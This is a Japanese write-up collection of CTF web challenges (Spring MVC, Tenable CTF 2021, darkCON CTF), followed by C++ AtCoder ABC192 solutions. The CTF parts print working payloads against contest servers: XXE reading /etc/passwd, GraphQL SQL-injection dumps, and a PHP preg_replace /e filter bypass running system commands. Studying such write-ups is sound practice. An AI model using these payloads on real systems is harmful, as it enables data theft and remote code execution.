- Spring MVC 1
- ソースコードを見てみると
/main
にflag1がある flag{flag1_517d74}
- ソースコードを見てみると
- Spring MVC 2
/main
でPOSTリクエストすると、flag2があるflag{flag2_de3981}
- Spring MVC 3
/main
でmagicWord=please
をPOSTすれば、flag3が出てくるflag{flag3_0d431e}
- Spring MVC 4
/main
で空のJSONをPOSTすれば、flag4が出てくるflag{flag4_695954}
- Spring MVC 5
/main
でOPTIONSリクエストすれば、flag5が出てくるflag{flag5_70102b}
- Spring MVC 6
/main
でMagic-Word: please
をヘッダーにつけてGETリクエストすれば、flag6が出てくるflag{flag6_ca1ddf}
- Spring MVC 7 (Hiding in Plain Sight)
.hello.html
を見ると、<p th:if="${name == 'please'}"> <span class="hidden" th:text="${@flagService.getFlag('hidden_flag')}" /> </p>
- これは
/
をGETしたときに参照されるので、/?name=please
としてソースコードを確認すればflagが出てくる flag{hidden_flag_1dbc4}
- Spring MVC 8 (Sessionable)
.hello.html
を見ると、<p th:if="${#session.getAttribute('realName') == 'admin'}"> <span th:text="${#session.getAttribute('sessionFlag')}" /> </p>
/other?name=[username]
でセッションのrealNameを更新できるので、これでadminに変更してから見に来てみるflag{session_flag_0dac2c}
Send A Letter [Tenable CTF 2021]
?letter=
<?xml version="1.0" encoding="ISO-8859-1"?>
Message to a appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.
よくよく見てみるとnameがオウム返しされていた。 これがsourceになりえるな。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
/tmp/messages_outbound.txtが唯一示されているので、見てみよう。
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///tmp/messages_outbound.txt" >]>
-> ok flag{xxe_aww_yeah}
http://167.71.246.232/系 [Tenable CTF 2021]
- Stay Away Creepy Crawlers
- Find the flag where they keep the creepy crawlers away.
- Crawlersなので、robots.txtを見る
flag{mr_roboto}
- Source of All Evil
- どこかのソースコードにフラグが入ってるんだろうなぁと思ってみると、ルートページにある
flag{best_implants_ever}
- Can't find it
- http://167.71.246.232:8080/との通信を見ると404の応答として文章が含まれているものがある
flag{404_oh_no}
- Show me what you got
- Find the "indexes" flag here: http://167.71.246.232/
- 通信を見ると
/images/
というフォルダに入った画像がリクエストされている /images/
のみにするとどうだろうか。フォルダ一覧が表示され、隠されたファイルを見つけることができるflag{disable_directory_indexes}
- Certificate of Authenticity
Certificate
ということなので、httpsでつないでみると自己証明書が使われていた- 発行先がフラグになっている
flag{selfsignedcert}
- Headers for you inspiration
- ルートページにヘッダーがついていた
Flag: flag{headersftw}
- Ripper Doc
- Find the flag in the ripper doc list.
/certified_rippers.php
の通信を見ると、Cookieでauthenticatedが使われている。trueに変えて送ってみると、情報が得られるflag{messing_with_cookies}
- Protected Directory
- Find the flag in the protected directory.
- 問題名に当たりそうなものは
/admin/
くらいしかない。どうやって攻撃しようか。 - 総当りをする心をぐっと抑えて
/.htpasswd
を探してみるとある admin:$apr1$1U8G15kK$tr9xPqBn68moYoH4atbg20
- Follow The Rabbit Hole
- Follow the rabbit hole and get the flag.
- 以下
/rabbit_hole.php?page=cE4g5bWZtYCuovEgYSO1 [513, '71'] 4O48APmBiNJhZBfTWMzD あたりがまず怪しいので、CyberChefしてみるが何も反応がない。 pageと出力の形式が同じ感じだったので、とりあえず出力をpageに入れてみると別の応答が得られる。 問題にも"Crawler"とあるので、クロールスクリプトを書いて探ってみる。
import requests import re import time root = 'http://167.71.246.232:8080' current_page = 'CcOz5dNeYSJB6gMKgBzD' for _ in range(100): r = requests.get(f"{root}/rabbit_hole.php?page={current_page}") print(r.text) r2 = re.findall(r'\[(.*)\][\r\n|\n|\r] (.*)', r.text) next_page = r2[0][1] print(f'======= {current_page} => {next_page} ========') current_page = next_page time.sleep(3)
全部たどるとendで終わり。
Tenable CTF - Down the Rabbit Hole
なんじゃそれ…
DarkCON Challs [darkCON CTF]
以下が認証プロセス。 GraphQLが使われているので、とりあえずいつもの抜き出しを行う。
function auth() { var username = document.getElementById("Username").value; var password = document.getElementById("Password").value; var head = btoa(username + ':' + password); $(document).ready(function() { $.post("graphql", { "query": "mutation{login(username:\"" + username + "\",password:\"" + password + "\")}" }, function(data, textStatus) { if (data.data.login == "Success") { document.cookie = "auth=" + head; window.location = '/dashboard' } else { alert('Wrong creds') } ; }, "json"); }); } function yeet() { document.cookie = "auth=Z3Vlc3Q6a2FybWE5ODc0"; window.location = "/dashboard" }
mutation{login(username:"admin",password:"password")} query{Challs{}} -> Authorization Error query{allUsers{username password}} -> {"data":{"allUsers":[{"username":"guest","password":"karma9874"},{"username":"admin","password":"is_this_visible_to_you?"}]}} ok.
adminパスワードが抜けたので、とりあえずログインしてみる。 admin権限が得られたので、改めてGraphQLを操作してみる。
query{Challs{id title flag{chall_flag}}} -> {"id":"35","title":"DarkCON Challs","flag":{"chall_flag":"<REDACTED>"}
Try Harderか…
query{Challs{id title description category author points flag{chall_id chall_title chall_flag}}} -> {"id":"35","title":"DarkCON Challs","description":"\"A place where you can see all the challs of darkCON CTF using api but not the flag or can you @_@ ?\r\nPS :- Try to get the flag of this chall xD\"","category":"Web","author":"Karma","points":500,"flag":{"chall_id":"35","chall_title":"DarkCON Challs","chall_flag":"<REDACTED>"}}
んー…
query{hint(chall_id:"35"){chall_id chall_title take_hint}} -> 特に…
いや、SQLiか?
query{hint(chall_id:"x"){chall_id chall_title take_hint}} -> ER_BAD_FIELD_ERROR: Unknown column 'x' in 'where clause' query{hint(chall_id:"'"){chall_id chall_title take_hint}} ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
キタキタキタ。
query{hint(chall_id:"-1 union select 1,2,3"){chall_id chall_title take_hint}}
これで1,2,3と出力されるようになった。OK
query{hint(chall_id:"-1 union SELECT GROUP_CONCAT(distinct TABLE_SCHEMA),2,3 FROM INFORMATION_SCHEMA.TABLES"){chall_id chall_title take_hint}} -> darkcon,information_schema,mysql,performance_schema,sys query{hint(chall_id:"-1 union select GROUP_CONCAT(distinct table_name),2,3 from information_schema.tables where TABLE_SCHEMA='darkcon'"){chall_id chall_title take_hint}} -> challs,flags,hints,users query{hint(chall_id:"-1 union select GROUP_CONCAT(column_name),2,3 from information_schema.columns where table_name='challs'"){chall_id chall_title take_hint}} -> challs: id,category,title,description,author,points query{hint(chall_id:"-1 union select GROUP_CONCAT(column_name),2,3 from information_schema.columns where table_name='flags'"){chall_id chall_title take_hint}} -> flags: chall_id,chall_title,chall_flag query{hint(chall_id:"-1 union select GROUP_CONCAT(distinct chall_flag),2,3 from flags"){chall_id chall_title take_hint}} -> darkCON{fake_flag},darkCON{w0ww_y0u_re411y_f0und_m3}
提出できんかったけど、これはあってるやろ。 ok. darkCON{w0ww_y0u_re411y_f0und_m3}
Easy PHP [darkCON CTF]
robots.txtを見てみると?lmao
とあるので、入れてみるとソースコードが出てくる。
<?php require_once 'config.php'; $text = "Welcome DarkCON CTF !!"; if (isset($_GET['lmao'])) { highlight_file(__FILE__); exit; } else { $payload = $_GET['bruh']; if (isset($payload)) { if (is_payload_danger($payload)) { die("Amazing Goob JOb You :) "); } else { echo preg_replace($_GET['nic3'], $payload, $text); } } echo $text; } ?>
preg_replace("/a/e", "system(‘id’);", "abc");を目指す。
色々試すと以下が成功した。
GET /?bruh=show_source("c"."onfig.php");&nic3=/a/e HTTP/1.1
<?php function is_payload_danger($payload) { return preg_match('/exec|passthru|shell_exec|system|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|readfile|require|require_once|include|include_once|print|find|file|`|config|var_dump|dir/',$payload); } ?>
GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=ls
これで任意コード実行ができるようになった。
config.php flag210d9f88fd1db71b947fbdce22871b57.php index.php robots.txt
GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=cat%20flag210d9f88fd1db71b947fbdce22871b57.php
-> darkCON{w3lc0me_D4rkC0n_CTF_2O21_ggwp!!!!}
YES!
Potion [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) F]
https://atcoder.jp/contests/abc192/tasks/abc192_f
前提知識
解説
https://atcoder.jp/contests/abc192/submissions/20347402
DPで解くが、考察の流れは分かりにくいかもしれない。
どこから考え始めるか
色々な可能性から攻めていくが、問題の弱点から考え始めるのが良い。
弱点を探すと、N≦100という明らかな弱点が用意されている。
ここから何か読み取れないだろうか。
N≦100ということは同様にkもk≦100であることが言える。
つまり、kを固定した場合に簡単に解ける方法はないだろうか。
kを固定する
kを固定した場合、良い部分が固定化される
- k個選択すればいい
- k個選択したあと、必要な魔力の残りがkの倍数であればいい
特に魔力の残りがkの倍数であればいいという部分が重要で、魔力は制約を見るとかなり大きな値になるのでそのままでは扱いにくい。
魔力についてはkの倍数について考える、つまり、kで割った余りでグルーピングすることができるようになる。
この辺と過去の記憶を合成していくことでDPを使えば解けそうな感じに見えてくる。
DP
dp[i][use][mo] :=
i番目までの素材からuse個を選んで合成している、
かつ、
ポーションの魔力になるまで必要な残魔力をkで割った余りがmoであるときの、
ポーションの魔力になるまで必要な残魔力の最小値
以上のDPを使って計算する。
初期値はすべて∞でdp[0][0][X%k]だけXである。
初期値については、定義を見れば納得できるだろう。
後は、ナップサックのように選ぶ・選ばないで遷移を書いていけばいい。
DPを作り終わったら、目的のものはdp[N][k][0]に入っているはずである。
k個を選んでkの倍数、つまり、余りが0であるもの。
必要な時間はdp[N][k][0]/kとなるので、この最小値を求めれば答え。
ちなみに作れない場合もあるので、それは検出して弾くこと。
計算量はO(N4)くらいになってざっと108くらいなのだが、dp問題は基本軽いので、まあ大丈夫。
もしTLEしたら、要素の配置をうまい事変えるとかしてキャッシュ率を上げるとか、枝刈りちゃんとするとかしてやれば通ったりする。
この辺のテク誰かまとめてくれんかな…
int N; ll X, A[101]; ll dp[101][101][101]; //--------------------------------------------------------------------------------------------------- void _main() { cin >> N >> X; rep(i, 0, N) cin >> A[i]; ll ans = infl; rep(k, 1, N + 1) { rep(i, 0, N + 1) rep(use, 0, k + 1) rep(mo, 0, k) dp[i][use][mo] = infl; dp[0][0][X % k] = X; rep(i, 0, N) rep(use, 0, k + 1) rep(mo, 0, k) if (dp[i][use][mo] != infl) { chmin(dp[i + 1][use][mo], dp[i][use][mo]); if (use < k) chmin(dp[i + 1][use + 1][(((mo - A[i]) % k) + k) % k], dp[i][use][mo] - A[i]); } if(dp[N][k][0] != infl) chmin(ans, dp[N][k][0] / k); } cout << ans << endl; }
Train [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) E]
https://atcoder.jp/contests/abc192/tasks/abc192_e
前提知識
解説
https://atcoder.jp/contests/abc192/submissions/20346183
ダイクストラ法で解く。
ダイクストラから少ししか変更がないので、ダイクストラを一通り勉強した後の1up問題として最適。
問題はどうやってダイクストラに乗せるかであるが、一般的なダイクストラ同様に
D[cu] := 都市cuに到着する最短時間
を作って更新していけばいい。
問題は遷移時であるが、遷移時はKの倍数でしか出発できないので、遷移前の時間から最も近いKの倍数の時間を計算して、
そこからTで時間を延ばして遷移させる。
この遷移部分のみが、一般的なダイクストラ法と異なる。
他は一緒。
ちなみに、自分の実装では、一番近いKの倍数を得るのに、Kで切り上げをしてからKをかけるという方法を取っている。
int N, M, X, Y; int A[101010], B[101010], T[101010], K[101010]; vector<pair<int, pair<int,int>>> E[101010]; //--------------------------------------------------------------------------------------------------- template<typename T> using min_priority_queue = priority_queue<T, vector<T>, greater<T>>; int vis[101010]; ll D[101010]; ll dijk() { rep(i, 0, N) D[i] = infl; rep(i, 0, N) vis[i] = 0; min_priority_queue<pair<ll, int>> que; D[X] = 0; que.push({ 0, X }); while (!que.empty()) { auto q = que.top(); que.pop(); ll cst = q.first; int cu = q.second; if (cu == Y) return D[Y]; if (vis[cu]) continue; vis[cu] = 1; fore(p, E[cu]) { int to = p.first; int T = p.second.first; int K = p.second.second; ll cst2 = (cst + K - 1) / K * K + T; if (chmin(D[to], cst2)) que.push({ D[to], to }); } } return -1; } //--------------------------------------------------------------------------------------------------- void _main() { cin >> N >> M >> X >> Y; X--; Y--; rep(i, 0, M) { cin >> A[i] >> B[i] >> T[i] >> K[i]; A[i]--; B[i]--; E[A[i]].push_back({ B[i], {T[i], K[i]} }); E[B[i]].push_back({ A[i], {T[i], K[i]} }); } ll ans = dijk(); cout << ans << endl; }